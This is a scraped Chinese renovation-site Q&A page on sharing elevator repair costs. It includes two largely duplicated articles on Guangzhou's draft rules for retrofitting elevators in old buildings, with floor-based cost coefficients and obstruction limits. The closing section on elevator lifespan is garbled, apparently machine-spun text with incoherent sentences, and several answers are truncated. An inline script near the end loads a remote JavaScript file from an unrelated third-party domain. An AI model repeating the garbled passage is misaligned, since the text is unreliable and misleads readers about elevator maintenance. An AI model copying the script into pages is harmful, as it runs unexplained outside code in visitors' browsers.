发现更多装修知识
孙桂枫
3 回答
10秒估算装修报价
元
稍后将有装修顾问来电为您解读报价
共有3条回答
不知道 有用 2
LUOXIHONG 有用 2
迪加超人凹凸曼 有用 1
土巴兔装修客服
土巴兔官方客服,欢迎随时咨询
立即咨询
亲,近期在了解装修吗?您是否想改变一下家里的布置,风格,收纳等现象?只需要一个报名申请您就能获得免费设计,赶紧咨询我吧!
问想跟大家了解下天花板漏水维修费用该如何分摊?
答您好!你说的顶楼漏水,漏水的原因看是什么如果是太阳能的原因,那么没有太阳能的住户就没有义务分摊这比修理费用。当然找物业管理部门如果可以给维修的话应该他们也有
问电梯变频器维修费用怎么算?
答需要根据你维修的深度还定价,深度维修价格在5000元以上。。还是不属于很贵的
问电梯电子板维修费用要多少?
答电梯行业叫维保,有两种计算方法,一种是轻包,就是平时做些清洁工作和加油除尘等简单工作,电梯关人了,负责开门,电梯坏了负责维修,但配件费由物业支付,3000-
问电梯进水维修费用哪位知道要多少?
答你好,电梯进水维修的费用具体还要看你所需要维修更换的部件是什么,比如cpu通讯板进水坏了,更换的话,一个需要2500元左右,如果是因为轿厢顶破损了,需要更换
问电梯维修费用谁出高不高
答根据《物权法》的相关规定,电梯属于公共设施,归全体业主共有,电梯因部件损坏等问题需要进行维修的,维修费用应当由业主共同承担。价格的话要看哪里坏了,如果是主机
加装电梯费用分摊标准
现在楼房已经占据了大部分的城市规划之中,但是,在很多地方也有不少十分老旧的住宅,而老住宅一般楼层较低,且就建造时期的工艺问题,没有安装电梯的很多,但是这样的老房子仍旧在使用中却很多,而且大多数居住者都是一些年岁高的用户,上下楼梯就成老年人的难题,为了解决这个麻烦的问题,有意向加装电梯的业主还是蛮多的,不过,加装电梯费用分摊也是要遵循标准的。接下来为大家介绍加装电梯费用分摊标准。加装电梯费用分摊标准:现行的《广州市既有住宅增设电梯试行办法》于2012年颁布实施,将于2016年7月1日试行期届满。试行三年多,全市已批准增设电梯工程1300余宗。修订草案规定,既有住宅增设电梯的意向和建筑设计方案应当充分听取拟增设电梯所在物业管理区域范围内业主的意见,并应当经本幢或本单元房屋专有部分占建筑物总面积三分之二以上且占总人数三分之二以上的业主同意。增设电梯拟占用业主专有部分的,还应当征得该专有部分的业主同意。修订草案说明中称:政府无权针对属于需要通过民事法律法规规范的民事补偿或赔偿以及需要通过当事人协商确定的费用分摊制定标准。修订草案规定,业主认为因增设电梯侵犯其所有权和相邻权等民事权益而提出补偿等要求的,由业主之间协商解决。街道调解委、相关行政部门应当应业主请求,依照组织调解,促使相关业主在平等协商基础上自愿达成调解协议。业主之间协商或调解不成的,可依法通过民事诉讼途径解决。修订草案规定业主应当协商约定出资分摊比例,没有约定或约定不明的,可以参照以下分摊比例确定出资、维护和养护分摊:以第三层为参数1,第二层为0.5,第一层为0,从第四层开始每增加一个楼层提高0.1个系数,即第四层1.1,第五层1.2,第六层1.3,并依此类推出资比例;同一楼层各户的出资比例按照业主专有部分占该层建筑总面积的比例确定。旧楼加装电梯纠纷中,重要原因即高低层业主对“严重遮挡”理解不一。修订草案附带的《既有住宅增设电梯技术规程》对此作出界定:增设电梯方案的梯井(或连廊)与本交通单元内住宅或相邻住宅主要使用房间(卧室或起居室)窗户的正投影净距小于6米,可视为严重遮挡。以上是对加装电梯费用分摊标准的具体介绍,不少有意向加装电梯的用户多是住在高层的老年人,老年人上下楼梯毕竟比较麻烦,有电梯生活会方面很多,当然,加装电梯也有可能是原有的电梯无法满足人员需求而造成的的。不管是哪种情况加装电梯可能出现的最大的问题就是费用平摊方面的问题了。以上是已经推出了一系列政策依据,在实际中可以按照这些标准执行。
加装电梯费用介绍
现在有不少相对而言较为老旧的住宅仍旧在使用中,但是其中居住着的大多是一些年岁已高的用户。对于高层住宅的人士而言,上下楼梯就成了一个十分麻烦的问题。那么针对这种情况,有不少朋友就有意向加装电梯,以便可以妥善解决问题。今天为大家介绍的就是关于加装电梯费用的标准,除此之外,对费用的平摊问题,我们也就相关政策为大家仔细分析。一、加装电梯费用标准现行的《广州市既有住宅增设电梯试行办法》于2012年颁布实施,将于2016年7月1日试行期届满。试行三年多,全市已批准增设电梯工程1300余宗。修订草案规定,既有住宅增设电梯的意向和建筑设计方案应当充分听取拟增设电梯所在物业管理区域范围内业主的意见,并应当经本幢或本单元房屋专有部分占建筑物总面积三分之二以上且占总人数三分之二以上的业主同意。增设电梯拟占用业主专有部分的,还应当征得该专有部分的业主同意。围绕旧楼加装电梯,业主间出现分歧,政府该不该管?修订草案说明中称:政府无权针对属于需要通过民事法律法规规范的民事补偿或赔偿以及需要通过当事人协商确定的费用分摊制定标准。修订草案规定,业主认为因增设电梯侵犯其所有权和相邻权等民事权益而提出补偿等要求的,由业主之间协商解决。街道调解委、相关行政部门应当应业主请求,依照组织调解,促使相关业主在平等协商基础上自愿达成调解协议。业主之间协商或调解不成的,可依法通过民事诉讼途径解决。二、加装电梯费用标准评析不过,较现行试行办法,修订草案多了不少便民指引。在资金筹措方面,修订草案规定有业主分摊、动用物业维修基金、业主个人公积金、社会投资等五种渠道,但首次针对业主间分摊比例给出了官方版的参考标准。修订草案规定业主应当协商约定出资分摊比例,没有约定或约定不明的,可以参照以下分摊比例确定出资、维护和养护分摊:以第三层为参数1,第二层为0.5,第一层为0,从第四层开始每增加一个楼层提高0.1个系数,即第四层1.1,第五层1.2,第六层1.3,并依此类推出资比例;同一楼层各户的出资比例按照业主专有部分占该层建筑总面积的比例确定。旧楼加装电梯纠纷中,重要原因即高低层业主对“严重遮挡”理解不一。修订草案附带的《既有住宅增设电梯技术规程》对此作出界定:增设电梯方案的梯井(或连廊)与本交通单元内住宅或相邻住宅主要使用房间(卧室或起居室)窗户的正投影净距小于6米,可视为严重遮挡。三、加装电梯费用新旧标准对比较现行办法相比,修订草案在意向阶段即规定,同意增设电梯的业主除了应就资金筹措、与不同意业主补偿等达成书面协议外,还应确定电梯使用管理者,并配备至少1名取得《特种设备作业人员证》的电梯安全管理员。具体可委托物管或专业维保公司等,业主未委托的,应当协商约定其中1名业主为使用管理者,其他业主承担连带安全管理责任。同时,修订草案本着便民原则规定,申请人已提供过的材料,可不必重复提交。此外,修订草案还规定,新增的电梯井和连廊的尺度以满足基本交通需要为准,不得以增设电梯为名增加非交通必要的使用面积。具体规定如下:电梯井占地尺寸不超过2.5米×2.5米;交通连廊净宽不超过1.2米(与电梯井直接等宽相连的连廊除外);电梯井若需占用现状通道,应确保剩余的通道宽度(可通过改造方式实现)不小于1.5米(仅供人行和非机动车通行),供机动车通行不小于4米不少居民都会有意向加装电梯,原因有很多,最为常见的就是出于高层住宅中年岁已高的老年朋友上下楼梯方面的考虑,除此之外,也有可能是原有的电梯无法满足需求而导致的。那么针对加装电梯可能出现的问题,最为惹人注目的就是在于费用的平摊方面。现在也有不少地方为此推出了一系列政策依据,上文介绍的就是其中具有代表性的一种解释。
业主应该了解电梯楼使用年限到底有多长?
电梯楼使用年限有多长?这是购房者在购房前需要考虑的一个问题。1.根据国外电梯的使用寿命,日本电梯的设计寿命一般为15年,欧美电梯的设计寿命为25年。根据目前中国购买电梯的情况,日本系列的产品或技术数量约为60%。这部分电梯首次到达电梯楼使用年限,1980年左右安装的欧美系列电梯也将进入更新期。2.电梯的使用寿命约为10到20年,有些会更短更长。使用寿命的持续时间主要是质量的安装。如果没有安装电梯,它总是很糟糕,这将缩短电梯楼使用年限。然后存在维护该单元并使用它的问题:第一个没有正确地维护电梯而第二个没有正常使用电梯。3.《物业服务收费管理实施办法》规定,更新成本,维修和更新装置,和共享部件和设施的更新和不包括在资源或服务属性成本的经营成本共享设备。如果为住宅建立了特殊维护资金,费用将从特殊维护基金中支付。如果没有建立不足的维护资金,业主将分享。4.高层住宅楼的电梯是特殊产品,是业主共用的共用设施。在保修期内,电梯的维护是电梯制造商的责任。如果保修期后的维修费用和电梯楼使用年限到期,则需要更换或修改费用。该房屋的特别维修基金已经建立。费用来自特别维修基金。如果资金不足,或者没有建立特殊维护资金,业主将分摊资金。以上是关于高层住宅的涂装持续时间和电梯楼使用年限的相关问题。关于高高的绘画和住宅电梯的使用寿命,我们也在这方面给出了一些解释。电梯的使用寿命非常重要,因为我们发现电梯经常发生事故,我们必须保证电梯的质量。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();
打开APP后继续操作
立即打开